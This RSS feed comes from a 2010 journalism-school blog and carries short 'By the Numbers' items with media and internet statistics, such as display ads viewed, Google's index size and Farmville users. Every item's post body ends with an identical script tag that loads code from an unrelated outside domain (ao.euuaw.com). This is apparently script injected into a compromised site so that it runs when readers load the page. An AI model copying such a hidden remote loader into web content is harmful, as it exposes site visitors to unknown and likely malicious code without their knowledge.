<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Explorations in New MediaBy the Numbers</title>
	<atom:link href="http://explorations.community-journalism.net/category/numbers/feed/" rel="self" type="application/rss+xml" />
	<link>http://explorations.community-journalism.net</link>
	<description>A project of the Schieffer School of Journalism at TCU</description>
	<lastBuildDate>Tue, 18 May 2010 21:30:35 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<meta xmlns="http://www.w3.org/1999/xhtml" name="robots" content="noindex,follow" />
		<item>
		<title>Online display ads viewed</title>
		<link>http://explorations.community-journalism.net/2010/05/14/number-of-online-display-ads-viewed/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/05/14/number-of-online-display-ads-viewed/#comments</comments>
		<pubDate>Fri, 14 May 2010 11:20:33 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Latest issue]]></category>
		<category><![CDATA[Online advertising]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=627</guid>
		<description><![CDATA[1,089,732
in the first quarter of 2010, according to data released this month from comScore. That&#8217;s 15 percent higher than during the same period of 2009, an indicator to some that the online advertising market is growing.
]]></description>
			<content:encoded><![CDATA[<h3>1,089,732</h3>
<p>in the first quarter of 2010, according to <a href="http://www.comscore.com/Press_Events/Press_Releases/2010/5/Americans_Received_1_Trillion_Display_Ads_in_Q1_2010_as_Online_Advertising_Market_Rebounds_from_2009_Recession?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+comscore+%28comScore+Networks%29" target="_blank">data released this month from comScore</a>. That&#8217;s 15 percent higher than during the same period of 2009, an indicator to some that the online advertising market is growing.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/05/14/number-of-online-display-ads-viewed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Net worth of local NYT readers</title>
		<link>http://explorations.community-journalism.net/2010/05/14/net-worth-of-new-york-times-local-readers/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/05/14/net-worth-of-new-york-times-local-readers/#comments</comments>
		<pubDate>Fri, 14 May 2010 11:20:21 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Latest issue]]></category>
		<category><![CDATA[Advertising]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=596</guid>
		<description><![CDATA[$800 billion
in the New York area, according to a memo distributed by New York Times executives. The figure is from the 2009 Mendelsohn Affluent Head of Household Survey, and has been cited often in the Times&#8216; ongoing newspaper war with the Wall Street Journal.
]]></description>
			<content:encoded><![CDATA[<h3>$800 billion</h3>
<p>in the New York area, according to a <a href="http://www.businessinsider.com/new-york-times-executives-belittle-murdochs-wall-street-journal-reporters-in-staff-memo-2010-4" target="_blank">memo</a> distributed by <em>New York Times </em>executives. The figure is from the <a href="http://www.ipsos-mediact.com/products/mendelsohnaffluent_overview.aspx" target="_blank">2009 Mendelsohn Affluent Head of Household Survey</a>, and has been cited often in the <em>Times</em>&#8216; <a href="http://www.wired.com/epicenter/2010/04/print-war-between-nyt-and-wsj-is-really-about-digital/" target="_blank">ongoing newspaper war</a> with the <em>Wall Street Journal</em>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/05/14/net-worth-of-new-york-times-local-readers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Number of Web searches in one month</title>
		<link>http://explorations.community-journalism.net/2010/04/30/number-of-web-searches-in-one-month/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/30/number-of-web-searches-in-one-month/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 11:10:30 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Search engine optimization]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=444</guid>
		<description><![CDATA[9,716,488,000
in March 2010, according to Nielsen data for the top 10 U.S. search providers.
]]></description>
			<content:encoded><![CDATA[<h3>9,716,488,000</h3>
<p>in March 2010, according to <a href="http://blog.nielsen.com/nielsenwire/online_mobile/nielsen-reports-march-2010-u-s-search-rankings/" target="_blank">Nielsen data</a> for the top 10 U.S. search providers.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/30/number-of-web-searches-in-one-month/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Size of Google&#8217;s index</title>
		<link>http://explorations.community-journalism.net/2010/04/30/size-of-googles-index/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/30/size-of-googles-index/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 11:10:03 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Search engine optimization]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=576</guid>
		<description><![CDATA[1,000,000,000,000
in 2008, the last time the company publicly announced the size of its index, according to the official Google blog.
]]></description>
			<content:encoded><![CDATA[<h3>1,000,000,000,000</h3>
<p>in 2008, the last time the company publicly announced the size of its index, according to the <a href="http://googleblog.blogspot.com/2008/07/we-knew-web-was-big.html" target="_blank">official Google blog</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/30/size-of-googles-index/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Average annual pay increase for online producers</title>
		<link>http://explorations.community-journalism.net/2010/04/23/average-annual-pay-increase-for-online-producers/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/23/average-annual-pay-increase-for-online-producers/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 11:10:33 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Journalism jobs]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=542</guid>
		<description><![CDATA[13% to 14%
from 2008 to 2009, according to the Inland Press Association&#8217;s Newspaper Industry Compensation Survey. That&#8217;s compared to an average 2.1 percent increase for the rest of the newspaper industry during the same period.
]]></description>
			<content:encoded><![CDATA[<h3>13% to 14%</h3>
<p>from 2008 to 2009, according to the Inland Press Association&#8217;s <a href="http://www.inlandpress.org/articles/2010/04/23/about/press_releases/doc4a3800731f24d001276870.txt" target="_blank">Newspaper Industry Compensation Survey</a>. That&#8217;s compared to an average 2.1 percent increase for the rest of the newspaper industry during the same period.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/23/average-annual-pay-increase-for-online-producers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Americans who consume online news</title>
		<link>http://explorations.community-journalism.net/2010/04/23/americans-who-read-news-on-websites/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/23/americans-who-read-news-on-websites/#comments</comments>
		<pubDate>Fri, 23 Apr 2010 11:10:00 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Consumption habits]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=538</guid>
		<description><![CDATA[61%
on a typical day, putting the Internet behind television but before newspapers, according to research from the Project for Excellence in Journalism.
]]></description>
			<content:encoded><![CDATA[<h3>61%</h3>
<p>on a typical day, putting the Internet behind television but before newspapers, according to <a href="http://www.stateofthemedia.org/2010/online_audience.php" target="_blank">research</a> from the Project for Excellence in Journalism.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/23/americans-who-read-news-on-websites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Number of edits on Wikimedia&#8217;s sites</title>
		<link>http://explorations.community-journalism.net/2010/04/16/one-billion-edits-on-wikimedias-sites/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/16/one-billion-edits-on-wikimedias-sites/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 11:10:44 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Social networking]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=494</guid>
		<description><![CDATA[1,000,000,000
as of April 16, according to the foundation&#8217;s website, which manages several Wiki sites including Wikipedia.
]]></description>
			<content:encoded><![CDATA[<h3>1,000,000,000</h3>
<p>as of April 16, according to the <a href="http://meta.wikimedia.org/wiki/Wikimedia_News" target="_blank">foundation&#8217;s website</a>, which manages several Wiki sites including Wikipedia.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/16/one-billion-edits-on-wikimedias-sites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monthly users of a Facebook game</title>
		<link>http://explorations.community-journalism.net/2010/04/16/monthly-users-of-a-facebook-game/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/16/monthly-users-of-a-facebook-game/#comments</comments>
		<pubDate>Fri, 16 Apr 2010 11:10:13 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Social media]]></category>
		<category><![CDATA[Social networking]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=498</guid>
		<description><![CDATA[81,572,860
for Farmville, the most popular game on Facebook, according to April 16 statistics from All Facebook, a site devoted to coverage of the social network.
]]></description>
			<content:encoded><![CDATA[<h3>81,572,860</h3>
<p>for <a href="http://www.facebook.com/farmville" target="_blank">Farmville</a>, the most popular game on Facebook, <a href="http://statistics.allfacebook.com/applications/leaderboard/" target="_blank">according to April 16 statistics from All Facebook</a>, a site devoted to coverage of the social network.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/16/monthly-users-of-a-facebook-game/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cost of a front-page ad on YouTube</title>
		<link>http://explorations.community-journalism.net/2010/04/09/cost-of-a-front-page-ad-on-youtube/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/09/cost-of-a-front-page-ad-on-youtube/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 11:10:26 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Online advertising]]></category>
		<category><![CDATA[Social media]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=440</guid>
		<description><![CDATA[$175,000
plus an additional $50,000 spending commitment, according to the company&#8217;s rate card. The Business Insider has reported that the spot is occupied 90% of the time.
]]></description>
			<content:encoded><![CDATA[<h3>$175,000</h3>
<p>plus an additional $50,000 spending commitment, according to the company&#8217;s <a href="http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=79100" target="_blank">rate card</a>. The Business Insider <a href="http://www.businessinsider.com/youtubes-huge-ads-make-big-money-2009-12" target="_blank">has reported</a> that the spot is occupied 90% of the time.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/09/cost-of-a-front-page-ad-on-youtube/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adults who read newspaper content weekly</title>
		<link>http://explorations.community-journalism.net/2010/04/09/adults-who-read-newspaper-content-weekly/#utm_source=feed&amp;utm_medium=feed&amp;utm_campaign=feed</link>
		<comments>http://explorations.community-journalism.net/2010/04/09/adults-who-read-newspaper-content-weekly/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 11:10:06 +0000</pubDate>
		<dc:creator>Andrew Chavez</dc:creator>
				<category><![CDATA[By the Numbers]]></category>
		<category><![CDATA[Newspapers]]></category>

		<guid isPermaLink="false">http://explorations.community-journalism.net/?p=442</guid>
		<description><![CDATA[74%
in print or online, according to a report (PDF link) from Scarborough Research.
]]></description>
			<content:encoded><![CDATA[<h3>74%</h3>
<p>in print or online, according to a <a href="http://scarborough.com/press_releases/Scarborough%20Newspaper%20Audience%20Readership%20NAA%20November%202009%20A.pdf" target="_blank">report</a> (PDF link) from Scarborough Research.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://explorations.community-journalism.net/2010/04/09/adults-who-read-newspaper-content-weekly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
